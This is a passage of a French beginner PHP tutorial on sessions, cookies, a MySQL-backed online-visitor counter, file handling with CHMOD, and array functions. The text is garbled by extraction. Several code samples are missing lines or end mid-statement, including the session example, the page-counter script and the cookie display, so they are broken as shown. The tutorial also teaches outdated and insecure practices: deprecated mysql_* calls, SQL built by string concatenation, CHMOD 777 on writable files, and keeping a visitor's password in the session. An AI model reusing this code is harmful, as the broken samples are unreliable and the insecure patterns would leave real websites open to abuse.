qui veut dire que, quelle que soit la page de votre site, vous pourrez récupérer par exemple le login et le mot
de passe du visiteur !
3. Lorsque le visiteur se déconnecte (il a cliqué sur un bouton "Déconnecter" ou est resté inactif trop longtemps),
alors la session est fermée avec session_destroy()
Ca a l'air compliqué comme ça, mais en fait c'est d'une simplicité à en pleurer
Le seul truc qu'il ne faut pas oublier de faire, c'est d'appeler session_start() sur chacune de vos pages AVANT d'écrire le
moindre code HTML.
Si vous oubliez session_start(), vous ne pourrez pas accéder aux variables superglobales $_SESSION.
Faites très attention : appelez session_start tout au début de vos pages PHP. Ne mettez la balise <html>
qu'après, sinon vous aurez des problèmes avec votre session.
Après, vous pouvez utiliser les variables $_SESSION comme des variables normales.
Un petit exemple ?
Code : PHP
<?php
session_start(); // On démarre la session AVANT toute chose
<p>
Salut <?php echo $_SESSION['prenom']; ?> !<br />
Tu es à l'accueil de mon site (index.php). Tu veux aller sur une autre page ?
</p>
<p>
<a href="mapage.php">Lien vers mapage.php</a><br />
<a href="monscript.php">Lien vers monscript.php</a><br />
<a href="informations.php">Lien vers informations.php</a>
</p>
</body>
</html>
Essayer !
Ne vous y trompez pas : on peut créer des variables de session n'importe où dans le code. Ici je les ai créé en haut de
la page, mais j'aurais pu le faire ailleurs.
La seule chose qui importe, c'est que le session_start() soit fait au tout début de la page.
Notez quelque chose de très important : mes liens sont tous simples. Je ne m'occupe de rien : ni de transmettre le
nom, prénom, âge du visiteur, ni de transmettre l'ID de session.
En effet, sur chacune des pages "mapage.php", "monscript.php", "informations.php" (et n'importe quelle autre page de
votre site), vous retrouverez les variables $_SESSION['prenom'], $_SESSION['nom'] et $_SESSION['age'] !
Code : PHP
<?php
session_start(); // On démarre la session AVANT toute chose
?>
<p>Re-bonjour !</p>
<p>
Je me souviens de toi ! Tu t'appelles <?php echo $_SESSION['prenom'] . '
' . $_SESSION['nom']; ?> !<br />
Et ton âge hummm... Tu as <?php echo $_SESSION['age']; ?> ans, c'est ça ? :-D
</p>
</body>
</html>
Essayer !
Vous voyez ? On a juste fait un session_start(), puis on s'est amusés à afficher les valeurs des variables de session.
Et là, magie !
Les valeurs des variables avaient été conservées, on n'a rien eu à faire !
En résumé, vous créez des variables de session comme vous créeriez des variables normales, sauf que vous mettez le
préfixe $_SESSION devant pour que PHP sache qu'il doit "retenir" ces variables sur toutes les pages
Enfin, si vous voulez détruire la session du visiteur, vous pouvez faire un lien "Déconnexion" qui amène vers une page
qui fait appel à la fonction session_destroy()
Quoiqu'il en soit, la session sera automatiquement détruite au bout d'un certain temps d'inactivité.
Et voilà, vous savez tout ce qu'il faut, ce n'est vraiment pas bien compliqué
Un script qui demande un login / mot de passe pour qu'un visiteur puisse se "connecter" (s'authentifier). Ainsi,
on peut enregistrer des variables de session et se souvenir du login du visiteur sur toutes les pages du site !
... Ce qui permet d'ailleurs de créer une zone d'administration sécurisée sur plusieurs fichiers SANS utiliser de
.htaccess. Les variables de sessions sont suffisantes pour vérifier si le mot de passe est le bon
Un dernier exemple : on se sert des sessions sur les sites de vente en ligne. Cela permet de gérer un "panier" :
on retient les produits que commande le client, quelle que soit la page où il est. Lorsqu'il valide sa commande,
on récupère ces informations et on le fait payer
Si je vous dis ça, c'est en connaissance de cause, parce que j'ai déjà réalisé un site de vente en ligne. En
utilisant les sessions, c'est vraiment super simple et vous avez maintenant le niveau
Si votre site est hébergé chez Free.fr, vous devrez créer un dossier appelé "sessions" à la racine de votre FTP
pour activer les sessions.
Je vais m'arrêter là pour les explications sur les sessions... En effet, avec ça vous savez tout ce qu'il faut.
Les cookies
Travailler avec des cookies est quasiment aussi simple que de travailler avec des sessions.
Il faut dire que PHP fait fort grâce aux superglobales, vous allez le voir une fois de plus
1. On va voir ce que c'est un cookie exactement... parce que je sais pas vous mais moi j'ai horreur de travailler sur
des choses abstraites
2. Ensuite, nous verrons comment écrire un cookie. C'est facile à faire, si on respecte un ou deux points.
3. Enfin, nous verrons comment afficher le contenu d'un cookie. Ca c'est super facile à faire
Un cookie, c'est un petit fichier que l'on enregistre sur l'ordinateur du visiteur.
Ce fichier contient du texte et permet de "retenir" des informations sur le visiteur. Par exemple, vous inscrivez dans un
cookie le pseudo du visiteur, comme ça la prochaine fois qu'il viendra sur votre site vous pourrez lire son pseudo en
allant regarder ce que son cookie contient.
On fait souvent l'erreur de penser que les cookies sont "dangereux". Non, ce ne sont pas des virus, juste des petits
fichiers textes qui permettent de retenir des informations.
Au pire, un site marchand peut retenir que vous aimez les appareils photos numériques et vous afficher uniquement
des pubs pour des appareils photos, mais en aucun cas un cookie peut scanner votre disque dur ou le formater,
rassurez-vous ils sont inoffensifs
Un cookie est créé pour chaque nouveau site web qui le demande. Ainsi, si vous êtes allés voir 3 sites web, vous
pouvez avoir jusqu'à 3 cookies.
Ca dépend de votre navigateur. Par exemple, Internet Explorer les stocke dans le dossier "Temporary Internet Files" :
Si vous vous amusez à en ouvrir un, vous verrez probablement quelque chose d'incompréhensible :
Sinon, si vous avez Mozilla Firefox, c'est un peu plus clair : menu Outils / Options / Vie privée / Cookies stockés. Là
vous avez la liste et la valeur de tous les cookies stockés :
Ecrire un cookie
Pour écrire un cookie, on utilise la fonction PHP setcookie (qui signifie "Placer un cookie" en anglais).
On lui donne en général 3 paramètres, dans l'ordre suivant :
Cela veut dire : timestamp actuel + nombre de secondes dans une année. Cela aura pour effet de voir votre cookie
disparaître dans exactement un an.
Vous pouvez aussi utiliser la fonction mktime comme on l'a vu dans le chapitre sur les dates pour effacer le
cookie à une date précise.
Toutefois, il y a un petit problème avec setcookie... Comme pour session_start, cette fonction ne marche QUE si vous
la mettez avant tout code HTML (donc avant la balise <!DOCTYPE>)
Ca peut paraître bizarre, je le reconnais. Ce n'est pas du tout la faute à PHP, c'est comme ça que les cookies
fonctionnent.
Voyons maintenant comment je ferais pour inscrire 2 cookies : un qui retient mon pseudo pendant un an, et un autre
qui retient le nom de mon pays :
Code : PHP
<?php
$timestamp_expire = time() + 365*24*3600; // Le cookie expirera dans un
an
setcookie('pseudo', 'M@teo21', $timestamp_expire); // On écrit un cookie
setcookie('pays', 'France', $timestamp_expire); // On écrit un autre
cookie...
Afficher un cookie
Ce qui fait que, si je veux ressortir le pseudo du visiteur que j'avais inscrit dans un cookie, il suffirait d'écrire :
Ce qui nous donne un code PHP tout bête pour réafficher le pseudo du visiteur :
Code : PHP
<p>
Hé ! Je me souviens de toi !<br />
Tu t'appelles <?php echo $_COOKIE['pseudo']; ?> et tu viens de <?php echo $_COOKIE
</p>
Comme vous le voyez encore une fois, le gros avantage c'est que les superglobales sont accessibles partout.
Vous avez besoin de savoir ce que contient le cookie "pseudo" ? Affichez donc le contenu de la superglobale
$_COOKIE['pseudo'] !
Enfin, vous vous demandez peut-être comment modifier un cookie déjà existant ?
C'est là encore très simple : il faut refaire un setcookie en gardant le même nom de cookie. Cela "écrasera" l'ancien
cookie. Par exemple, si j'habite maintenant en Chine, je ferai :
Notez qu'alors le temps d'expiration du cookie est remis à zéro pour un an. On aurait donc encore un an avant que le
cookie disparaisse
Q.C.M.
Laquelle de ces variables ne peut pas être une superglobale ?
$_TRUC
$_BIDuLe
$_MACHIN_CHOSE
L'adresse IP du visiteur
L'adresse du serveur
Quelle fonction doit être obligatoirement appelée avant d'utiliser des variables de session ?
isset()
session_start()
start_session()
Correction !
PHP vous offre beaucoup de puissance avec les superglobales, et vous allez voir qu'on ne va pas se faire prier pour s'en
servir
On va réutiliser dans le TP qui suit ce que vous venez d'apprendre (récupérer l'IP, manipuler des cookies etc...).
Ce chapitre était donc plutôt théorique... que diriez-vous de passer à la pratique ?
Plus d'informations
En tant que Webmaster, vous aimeriez certainement savoir combien de personnes sont connectées sur votre site.
Après tout, pourquoi pas, c'est tout à fait le genre de trucs qu'on peut faire en PHP
La bonne nouvelle, c'est que c'est assez simple à faire. Mais il faut bien comprendre le fonctionnement, donc soyez
attentifs à ce que je vais vous dire parce que ça ne marche peut-être pas comme vous le pensez
Etape 1 : prérequis
C'est là qu'il faut bien m'écouter, parce que le fonctionnement de ce script est un peu particulier.
On va créer une table MySQL appelée "connectes", avec seulement 2 champs :
Vous remarquerez que, exceptionnellement, il n'y a pas de champ "id". Les cas où on n'a pas besoin de champ ID sont
très rares, il faut le savoir. Ici le script ne nous impose pas d'utiliser un ID, donc on n'en crée pas.
Vous voyez en fait la liste des personnes connectées sur votre site (représentées par leur adresse IP), et le timestamp
qu'il était au moment où chaque personne a chargé une page sur votre site.
Maintenant, il va falloir que vous compreniez comment le script fonctionne, c'est très important. Dans l'ordre, nous
allons faire ceci :
1. A chaque fois qu'un visiteur charge une page de votre site, on regarde dans la table "connectes" si son IP est
déjà inscrite. 2 cas sont possibles :
L'IP n'est pas dans la table : on crée une nouvelle entrée dans laquelle on met son adresse IP. On note en
même temps l'heure (le timestamp) qu'il est.
L'IP est déjà dans la table : on ne crée pas de nouvelle entrée, on met simplement à jour le timestamp
associé à son IP, pour indiquer l'heure à laquelle il vient de charger la dernière page.
2. Ensuite, on regarde les autres adresses IP déjà enregistrées dans la table. On supprime toutes les IP qui ont été
inscrites depuis plus de 5 minutes.
Cela veut dire qu'on considère qu'un visiteur qui n'a pas chargé de nouvelle page sur le site depuis plus
de 5 minutes est parti. Je sais que ça peut paraître bizarre, mais c'est comme ça qu'on fait car on n'a pas
d'autres solutions.
3. Enfin, dernière étape (la plus simple), on compte toutes les adresses IP qui restent dans la table. Ce nombre,
c'est le nombre de visiteurs actuellement connectés sur votre site ! Vous n'avez plus qu'à l'afficher !
Voilà, je vous ai dévoilé le fonctionnement du script, après si vous l'appliquez correctement vous allez voir (Ô surprise
!) que ça fonctionne !
Un dernier détail tout de même : je vous conseille de taper ce script dans une page PHP appelée "connectes.php" qui
N'oubliez aucune page, car si vous ne placez pas votre compteur sur une ou plusieurs pages, il n'indiquera pas
le nombre correct de personnes connectées ! (il en indiquera moins que ce qu'il y en a)
Etape 4 : correction
Correction ?
Ce script est assez simple dans la mesure où je vous ai détaillé le fonctionnement du script. Si vous appliquez ce que
j'ai dit, cela ne peut que fonctionner !
Si par hasard vous avez bloqué sur un passage, ce n'est pas bien grave : le script est simple, et ce ne sont pas vos
connaissances en PHP qui sont à remettre à cause. Vous avez simplement lu un peu rapidement les explications que je
vous ai données plus haut
Code : PHP
<?php
// Connexion à MySQL
mysql_connect("localhost", "sdz", "mot_de_passe");
mysql_select_db("coursphp");
// -------
// ETAPE 1 : on vérifie si l'IP se trouve déjà dans la table
// Pour faire ça, on n'a qu'à compter le nombre d'entrées dont le champ
"ip" est l'adresse ip du visiteur
$retour = mysql_query('SELECT COUNT(*) AS nbre_entrees FROM connectes
WHERE ip=\'' . $_SERVER['REMOTE_ADDR'] . '\'');
$donnees = mysql_fetch_array($retour);
// -------
// ETAPE 2 : on supprime toutes les entrées dont le timestamp est plus
vieux que 5 minutes
// -------
// ETAPE 3 : on compte le nombre d'ip stockées dans la table. C'est le
nombre de visiteurs connectés
$retour = mysql_query('SELECT COUNT(*) AS nbre_entrees FROM connectes');
$donnees = mysql_fetch_array($retour);
Comme vous pouvez le voir, le script respecte strictement les étapes que je vous ai indiquées au début de ce TP.
Il y a seulement 2 points où il fallait un peu réfléchir (rien de bien méchant :p). Voici quelques informations pour vous
aider à les comprendre :
Vérifier si l'IP du visiteur se trouve déjà dans la table : on peut le faire de plusieurs manières, celle qui me
semble la plus simple et la plus logique est de compter le nombre de fois où cette IP apparaît dans la table. 2
réponses sont possibles :
0 fois : l'IP ne se trouve pas dans la table, c'est donc un nouveau visiteur qui vient d'arriver.
1 fois : l'IP se trouve déjà dans la table, c'est un visiteur qui était déjà sur le site et qui vient de charger
une nouvelle page. On met juste à jour son timestamp pour se rappeler que ce visiteur a récemment
chargé une page sur votre site.
Supprimer les timestamp vieux de plus de 5 minutes : c'est assez simple quand on y pense, mais il fallait
trouver le truc. En fait, on fait une requête SQL dans laquelle on demande de supprimer toutes les entrées dont
le timestamp est inférieur au timestamp qu'il était il y a 5 min :
Le plus "dur" est de retrouver le timestamp qu'il était il y a 5 min. Une simple soustraction suffit : il suffit de
soustraire 60 * 5 (le nombre de secondes en 5 min) au timestamp actuel, et le tour est joué !
Là, je dois reconnaître que j'ai franchement pas beaucoup d'idées pour améliorer ce script
Voici ce que je peux vous proposer, mais je vous préviens que ça n'a rien de très excitant :
Affichez "Il y a 1 visiteur connecté" au lieu de "Il y a 1 visiteurs connectés" pour respecter le singulier / pluriel
(ah la bonne vieille grammaire française )
Vous pouvez aussi créer un système de "record". A chaque fois que vous avez le nombre de visiteurs connectés,
vous le comparez avec le record enregistré dans un fichier "record.txt" par exemple. Vous saurez faire cela
lorsque vous aurez lu le chapitre sur les fichiers. Ce "record.txt" ne contiendra qu'un nombre : c'est le record du
nombre de connectés.
Si vous le désirez, vous pouvez aussi enregistrer dans le fichier la date à laquelle le record s'est produit (utilisez
un timestamp !)
Modifier le script pour qu'il marche sur plusieurs sites différents à la fois. Ensuite, créez un site où vous
proposez ce service aux petits webmasters débutants pour seulement 10 euros, devenez riche, rachetez
Microsoft, ruinez Bill Gates, et devenez enfin Maître du Monde
Vous voyez, comme quoi, même avec un petit script comme celui-ci, on peut faire des tas de choses étonnantes
J'espère que ce TP vous aura été utile, je pense que nombreux d'entre vous sont ceux qui souhaitaient avoir un tel
compteur sur leur site !
Ah, et si vous rachetez Microsoft, soyez cool : pensez à moi, je ne dirais pas non si on m'offrait ne serait-ce qu'1% de
l'entreprise
Plus d'informations
Je m'explique : supposons que vous vouliez compter le nombre de pages qui ont été vues sur votre site. Vous auriez
juste besoin d'enregistrer un nombre, et de le faire augmenter à chaque fois qu'une page est chargée sur votre site.
56
57
58...
Bref, si c'était par exemple juste pour stocker UN nombre, il serait franchement débile de faire appel à la base de
données.
Pourquoi ? Parce que MySQL, mine de rien, ça se révèle assez lent. Il faut s'y connecter, donner son login / mot de
passe, et PHP fait l'intermédiaire entre vous et MySQL... Pas toujours pratique...
Le CHMOD
Ouvrir et fermer le fichier
Lire et écrire dans le fichier
Q.C.M.
Le CHMOD
Avant de commencer quoi que ce soit sur les fichiers, il faut que je vous parle de quelque chose d'un peu particulier :
le CHMOD.
Derrière ce nom mystérieux se cache en fait une série de "droits", qui déterminent si oui ou non vous avez le droit de
modifier un fichier.
Sous Windows, vous n'en avez probablement jamais entendu parler, tout simplement parce que ça n'existe pas
comme ça.
Mais le serveur de votre site lui, il est sous Linux. Et sous Linux, on utilise ce qu'on appelle le CHMOD.
Le CHMOD est un nombre à 3 chiffres que l'on attribue à un fichier (par exemple 777). Selon la valeur de ce nombre,
Linux autorisera (ou non) la modification du fichier.
Le problème, c'est qu'en général Linux n'autorise pas les modifications de fichiers par un script PHP. Or, c'est
justement ce qu'on veut faire. Alors, comment on va faire pour s'en sortir ? En modifiant le CHMOD pardi !
Il va falloir passer par... votre logiciel FTP ! Oui, celui-là même qui vous sert à envoyer vos pages sur le web
En ce qui me concerne, j'utilise Filezilla (vous utilisez celui que vous voulez, la manipulation est quasiment la même).
Connectez-vous à votre serveur, et faites un clic-droit sur l'un des fichiers du serveur :
En général, vous devriez avoir un menu "CHMOD" ou "Attributs du fichier" (comme moi).
Cela devrait ouvrir une fenêtre qui ressemble à peu près à ceci :
Le propriétaire : c'est l'utilisateur sous Linux qui a créé le fichier. Lui, il a en général tous les droits : lire,
écrire, exécuter.
Selon les droits qu'il possède, le premier chiffre du CHMOD change. Ici, c'est 7 : ça veut dire qu'il a tous les
droits.
Le groupe : bon ça ne nous concerne pas trop là non plus. Ce sont les droits du groupe d'utilisateurs auquel
appartient le propriétaire du fichier. Cela correspond au 2° chiffre du CHMOD (ici : 7).
Permissions publiques : ah ! Là ça devient intéressant. Les permissions publiques concernent tout le monde,
c'est-à-dire même vos fichiers PHP. C'est le troisième chiffre du CHMOD (ici : 5).
Regardez ! Il n'y a pas tous les droits ici ! En effet, nos scripts PHP n'ont pas le droit de modifier les fichiers.
Allez, hop : soit vous cochez la case "Ecriture", soit vous tapez "777" pour le CHMOD. Ca voudra dire : tous les
droits pour tout le monde.
Ouf ! Donc en gros, quand on met un CHMOD à 777, ça veut dire que tout le monde a le droit de modifier le fichier !
Vos visiteurs ne le peuvent pas bien entendu, c'est uniquement sur le serveur que ça se passe.
Vous pouvez aussi modifier le CHMOD d'un dossier. Cela déterminera si on a le droit de lire/écrire dans ce
dossier.
Cela vous sera notamment utile si vous avez besoin d'écrire des fichiers dans un dossier en PHP.
Pour ceux qui veulent en savoir plus sur les CHMOD, je traite le sujet beaucoup plus en détail dans mon cours sur Linux
(car c'est un truc de Linux ). N'hésitez pas à aller lire le chapitre si le sujet vous intéresse.
Commencez par créer un fichier compteur.txt (par exemple). Envoyez-le sur votre serveur avec votre logiciel FTP, et
appliquez-lui un CHMOD à 777 comme on vient d'apprendre à le faire.
Fastoche
Code : PHP
<?php
// 1 : on ouvre le fichier
$monfichier = fopen("compteur.txt", "r+");
Il y a 3 étapes à respecter :
1. On ouvre le fichier avec fopen. Cette fonction renvoie une information que vous devez mettre dans une variable
(ici : $monfichier). Cela nous sera utile tout à l'heure pour fermer le fichier.
On indique à fopen tout d'abord le fichier qu'on veut ouvrir ("compteur.txt"), et comment on veut l'ouvrir (ici j'ai
mis "r+"). Voici les principales possibilités qu'on a :
Mode Explication
r Cela ouvre le fichier en lecture seule. Cela veut dire que vous ne pourrez que lire le fichier.
Cela ouvre le fichier en lecture / écriture. Vous pourrez non seulement lire le fichier, mais aussi écrire
r+
dedans (on l'utilisera assez souvent en pratique).
Ouvre le fichier en écriture seule. Mais il y a un avantage : si le fichier n'existe pas, ça le crée
a
automatiquement.
Mode Explication
Ouvre le fichier en lecture et écriture. Si le fichier n'existe pas il est créé automatiquement. Attention :
a+ le répertoire doit avoir un CHMOD à 777 dans ce cas ! A noter que si le fichier existe déjà, le texte sera
rajouté à la fin.
Vous n'êtes absolument pas obligés de donner l'extension .txt à votre fichier. Vous pouvez l'appeler comme
vous voulez : "compteur.cpt", "compteur.num", ou même "compteur" tout court.
Bref, vous avez le choix
Lire
En général, on se débrouillera pour mettre une information par ligne dans notre fichier. On utilise donc assez peu fgetc
qui est assez lourd à utiliser (il faudrait faire une boucle pour lire caractère par caractère).
Dans notre cas, on va supposer que notre fichier ne contient qu'une ligne : le nombre de pages qui ont été vues sur le
site.
Pour récupérer ce nombre, il faudra donc faire comme ceci :
Code : PHP
<?php
// 1 : on ouvre le fichier
$monfichier = fopen("compteur.txt", "r+");
Il faut indiquer à fgets le fichier à lire. On lui donne notre variable $monfichier qui lui permettra de l'identifier.
fgets renvoie toute la ligne (la fonction arrête la lecture à la première Entrée). Donc, notre variable $ligne devrait
contenir la première ligne du fichier
Et si mon fichier fait 15 lignes, comment je fais pour toutes les lire ?
Il faut faire une boucle. Un premier fgets vous donnera la première ligne, ensuite si vous refaites fgets vous obtiendrez
la deuxième ligne etc...
Pas très pratique hein ? Ce n'est pas pour rien qu'on a inventé la base de données
Mais bon, comme ici on n'a à stocker qu'un seul nombre, le choix d'utiliser un fichier est justifié.
Ecrire
Toutefois, il faut savoir où on écrit le texte. En effet, le fonctionnement d'un fichier est assez bizarre :
Si vous faites un fputs juste après, il va écrire à la suite ! Pour éviter ça, on va utiliser la fonction fseek qui va
replacer le curseur où on veut dans le fichier. En l'occurence, on va replacer le curseur au début du fichier en
faisant :
Si vous avez ouvert le fichier avec le mode "a" ou "a+", toutes les données que vous écrirez seront
toujours ajoutées à la fin du fichier. La fonction fseek n'aura donc aucun effet dans ce cas.
4. Ouf, notre curseur est au début du fichier, on peut faire un fputs. La ligne va s'écrire par-dessus l'ancienne, ce
qui fait que l'ancien texte sera écrasé (remplacé par le nouveau).
Allez, pour y voir plus clair, voici le code pour réaliser notre compteur de pages vues :
Code : PHP
<?php
$monfichier = fopen('compteur.txt', 'r+');
fclose($monfichier);
echo '<p>Cette page a été vue ' . $pages_vues . ' fois !</p>';
?>
Essayer !
1. On récupère la première ligne du fichier, qui est le nombre de pages qui ont été vues pour le moment sur le
site.
2. On ajoute 1 à la variable $pages_vues. Si elle valait 15, elle vaudra désormais 16.
3. On replace notre fameux "curseur" au début du fichier (parce que sinon il se trouvait à la fin de la première
ligne et on aurait écrit à la suite).
4. On écrit notre nouveau nombre de pages vues dans le fichier, en écrasant l'ancien nombre.
Si vous avez oublié de mettre un CHMOD à 777 sur le fichier compteur.txt, vous aurez l'erreur suivante :
Warning: fopen(compteur.txt): failed to open stream: Permission denied
Ici, PHP essaie de vous dire qu'il n'a pas réussi à ouvrir le fichier car il n'a pas le droit d'écrire dedans. Il faut donc
absolument faire ce CHMOD si vous voulez pouvoir toucher au fichier !
Voilà, vous venez de voir comment on se sert d'un fichier : ouverture, lecture, écriture, fermeture.
Pour un gros fichier c'est vite la prise de tête, mais pour un petit fichier comme celui-ci, avouez que c'était pas long ni
compliqué à faire, et en plus ça marche très bien
Q.C.M.
Quelle fonction permet d'ouvrir un fichier ?
open
fopen
fileopen
S'il y a 3 lignes dans mon fichier, est-ce que ce code est bon et fonctionne correctement ?
Code : PHP
<?php
$monfichier = fopen('fichier.txt', 'r+');
fclose($monfichier);
?>
<?php
fseek($monfichier, 1);
?>
Correction !
On peut faire beaucoup d'autres choses avec les fichiers, mais il serait trop long de tout vous lister ici. Je vous invite à
aller consulter la documentation PHP sur les fichiers : c'est un peu austère, mais il y a tout.
Les fonctions listées y sont assez simples à utiliser : vous verrez qu'on peut copier des fichiers, supprimer des fichiers,
créer des dossiers, supprimer des dossiers etc etc...
Et n'oubliez pas qu'en cas de problème, le forum est là pour vous aider
Plus d'informations
Plus sérieusement, les Array (ou "Variables tableaux") sont très souvent utilisés lorsque vous vous mettez à faire des
scripts un petit peu plus complexes. Ils sont bien souvent la solution simple à des problèmes qui ont l'air compliqués.
Jusqu'ici, nous n'avons vu que très rapidement les Array, juste ce dont on avait besoin pour la base de données (car je
vous rappelle qu'on récupère les données de la base sous forme d'array). Aujourd'hui, nous allons faire en quelque sorte
la "suite" du premier chapitre sur les array. Je vous recommande d'aller le relire d'ailleurs, histoire d'être bien à jour.
Nous allons voir dans ce chapitre comment explorer le contenu d'un array (c'est-à-dire lister tout ce qu'il y a dedans),
mais nous verrons aussi comment faire des recherches dedans, et enfin nous verrons comment transformer une chaîne
en un array.
Honnêtement, ce chapitre ne sera pas une révélation passionnante et vous ne saurez pas faire des trucs super-géniaux
après l'avoir lu. Mais ce sont des connaissances qu'il faut avoir en PHP, car on travaille fréquemment sur les array.
Et ne vous découragez pas, parce que le meilleur est à venir
Sommaire du chapitre :
Explorer un array
Rechercher dans un array
Transformer une chaîne en array
Q.C.M.
Explorer un array
Avant de commencer à retravailler sur les array, je pense qu'il serait bien de faire un petit rappel et de vous faire faire
un peu de vocabulaire, sinon vous allez vous emmêler les pinceaux bêtement
Quelques rappels
Un array, c'est une variable qui se présente sous la forme de tableau. Par exemple : $capitale['France'].
On a deux types d'array :
Les array numérotés : chaque morceau de l'array a un numéro. Ce numéro part de 0 (ne l'oubliez pas, c'est
source d'erreurs). Par exemple, $liste[0], $liste[1], $liste[2] etc...
Les array associatifs : au lieu d'avoir des numéros, on a des "étiquettes". Chaque morceau de l'array a donc un
nom. Par exemple, les array retournés par MySQL sont associatifs : $donnees['pseudo'], $donnees['message']
etc...
Code : PHP
<?php
// On crée notre array $coordonnees
$coordonnees = array (
"Prénom" => "François",
"Nom" => "Dupont",
"Adresse" => "3, rue du Paradis",
"Ville" => "Marseille");
?>
Prénom, Nom, Adresse et Ville sont les clés. Dans un tableau associatif, une clé permet de repérer un élément.
François, Dupont, 3, rue du Paradis et Marseille sont les valeurs. Ainsi, "François" est associé à la clé "Prénom".
Le print_r
Le foreach
La question du jour est : vous avez un array et vous vous demandez ce qu'il contient.
Pour afficher le contenu de l'array, on va utiliser la commande print_r. C'est une sorte de echo spécialisé dans les
array.
Cette commande a toutefois un défaut : elle ne renvoit pas de code HTML comme <br /> pour les retours à la ligne.
Pour bien voir les Entrées, il faut donc utiliser la balise HTML <pre> qui nous permettra d'avoir un affichage plus
correct.
Je reprends l'exemple qu'on avait utilisé dans le premier chapitre sur les array. Je crée d'abord manuellement un array
avec la fonction array, puis j'affiche son contenu avec print_r :
Code : PHP
<?php
$coordonnees = array (
"Prénom" => "François",
"Nom" => "Dupont",
"Adresse" => "3, rue du Paradis",
"Ville" => "Marseille");
echo '<pre>';
print_r($coordonnees);
echo '</pre>';
?>
Essayer !
Voilà, c'est facile à utiliser du temps qu'on n'oublie pas la balise <pre>.
Vous vous demandez à quoi ça peut servir concrètement ? C'est vrai que dans la pratique, vous n'afficherez jamais le
contenu d'un array à vos visiteurs (ils ne comprendraient pas, les pauvres ). En fait, ça vous servira à vous, lorsque
vous testez un script qui ne marche pas, et que vous aimeriez savoir rapidement ce que contient un array.
Un autre exemple pour que vous voyiez bien comment on s'en sert : vous faites une requête à MySQL et vous aimeriez
savoir rapidement ce que ça renvoit. Plutôt que de vous embêter à mettre en forme vous-même les résultats en HTML,
vous faites un print_r qui vous permettra de voir rapidement ce que ça donne.
Pour cet exemple, je reprends la table jeux_video qu'on a utilisé dans la partie II de ce cours :
Code : PHP
<?php
mysql_connect("localhost", "mateo21", "mot_de_passe");
mysql_select_db("coursphp");
mysql_close();
?>
Essayer !
Ah, d'ailleurs vous pouvez voir que les array créés par mysql_fetch_array sont numérotés ET associatifs. On nous donne
les deux. Ca fait qu'il y a pas mal de doublons, mais au moins on peut choisir si on préfère travailler sur des numérotés
ou des associatifs.
Pour ma part, avec la base de données je travaille toujours sur des array associatifs, je trouve ça plus clair.
Vous vous demandez pourquoi on a mis le print_r dans la boucle while ? Tout simplement parce qu'un nouvel
array est créé pour chaque entrée : il y a donc autant d'array que d'entrées dans la table ! Si on n'avait pas fait de
boucle, on aurait eu seulement l'array correspondant à la première entrée !
print_r c'est bien beau, mais vous avez vu que ça ne vous servirait pas vraiment dans la pratique. On s'en sert juste
pour rechercher des erreurs.
Par contre, la commande foreach, elle, est vraiment utile dans les scripts. C'est une sorte de boucle for spécialisée
dans les array.
foreach va passer en revue chaque ligne du tableau, et lors de chaque passage, il va mettre la valeur de cette ligne
dans $element.
Code : PHP
<?php
$coordonnees = array (
"Prénom" => "François",
"Nom" => "Dupont",
"Adresse" => "3, rue du Paradis",
"Ville" => "Marseille");
foreach($coordonnees as $element)
{
echo $element . '<br />';
}
?>
Essayer !
foreach va mettre tour à tour dans la variable $element le prénom, le nom, l'adresse et la ville contenus dans l'array
$coordonnees.
On met donc entre parenthèses :
Code : PHP
<?php
$coordonnees = array (
"Prénom" => "François",
"Nom" => "Dupont",
"Adresse" => "3, rue du Paradis",
"Ville" => "Marseille");
Essayer !
Avec cette façon de procéder, vous avez dans la boucle la clé ET la valeur.
Bien entendu, si vous n'avez besoin que de la valeur, il vaut mieux utiliser l'exemple précédent
Et foreach, croyez-moi, c'est un truc vraiment pratique ! Autant vous n'utiliserez presque jamais print_r, autant le
foreach va bientôt devenir votre meilleur ami dans vos scripts PHP !
Apprenez à vous en servir, ce n'est pas bien compliqué. Quant à moi, j'essaierai de vous le faire utiliser au cours d'un
prochain chapitre ou TP...
Voici notre problème : on a un array, mais on ne sait pas si la clé qu'on cherche est dedans.
On va utiliser pour vérifier ça la fonction array_key_exists.
On doit lui donner d'abord le nom de la clé à rechercher, puis le nom de l'array dans lequel on fait la recherche :
La fonction renvoie un booléen, c'est à dire true (vrai) si la clé est dans l'array, et false (faux) si la clé ne se trouve pas
dans l'array. Ca nous permet de faire un test facilement avec un if :
Code : PHP
<?php
$coordonnees = array (
"Prénom" => "François",
"Nom" => "Dupont",
"Adresse" => "3, rue du Paradis",
"Ville" => "Marseille");
if (array_key_exists("Nom", $coordonnees))
{
echo 'La clé "Nom" se trouve dans les coordonnées !';
}
if (array_key_exists("Pays", $coordonnees))
{
echo 'La clé "Pays" se trouve dans les coordonnées !';
}
?>
Essayer !
Comme vous pouvez le voir, on n'a trouvé que "Nom", et pas "Pays" (logique). Seule la première condition a donc été
exécutée
Je ne vais passer 50 ans dessus, c'est exactement pareil que array_key_exists... mais cette fois on recherche dans les
valeurs.
in_array renvoit true si la valeur se trouve dans l'array, false si elle ne s'y trouve pas.
Pour changer un peu de notre array $coordonnees, je vais créer un nouvel array (numéroté) composé de fruits
Code : PHP
<?php
$fruits = array ("Banane", "Pomme", "Poire", "Cerise", "Fraise", "Framboise");
if (in_array("Myrtille", $fruits))
{
echo 'La valeur "Myrtille" se trouve dans les fruits !';
}
if (in_array("Cerise", $fruits))
{
echo 'La valeur "Cerise" se trouve dans les fruits !';
}
?>
Essayer !
On ne voit que le message pour la Cerise, tout simplement parce que in_array a renvoyé true pour "Cerise" et false
pour "Myrtille".
Facile, rapide, efficace
array_search fonctionne comme in_array : il travaille sur les valeurs d'un array. Voici ce que renvoit la fonction :
Si elle a trouvé la valeur, array_search renvoit la clé correspondante (c'est-à-dire le numéro si c'est un array
numéroté, ou le nom de la clé si c'est un array associatif).
Si elle n'a pas trouvé la valeur, array_search renvoit false (comme in_array).
On reprend l'array numéroté avec les fruits (ça me donne faim tout ça ):
Code : PHP
<?php
$fruits = array ("Banane", "Pomme", "Poire", "Cerise", "Fraise", "Framboise");
Essayer !
Je sais que je me répète, mais n'oubliez pas qu'un array numéroté commence à 0 !
Cela explique donc pourquoi "Banane" se trouve en position 0...
Voilà donc les fonctions qu'il fallait connaître pour faire une recherche dans un array.
Avec ça, vous aurez plus de contrôle sur vos array puisque vous saurez s'ils contiennent certaines valeurs et surtout où
elles se trouvent.
Mais regardez bien cette chaîne... Elle a quelque chose de particulier : elle est séparée par des slashs (/). Le slash
joue ici le rôle de séparateur, c'est-à-dire qu'il "sépare" la chaîne en plusieurs parties.
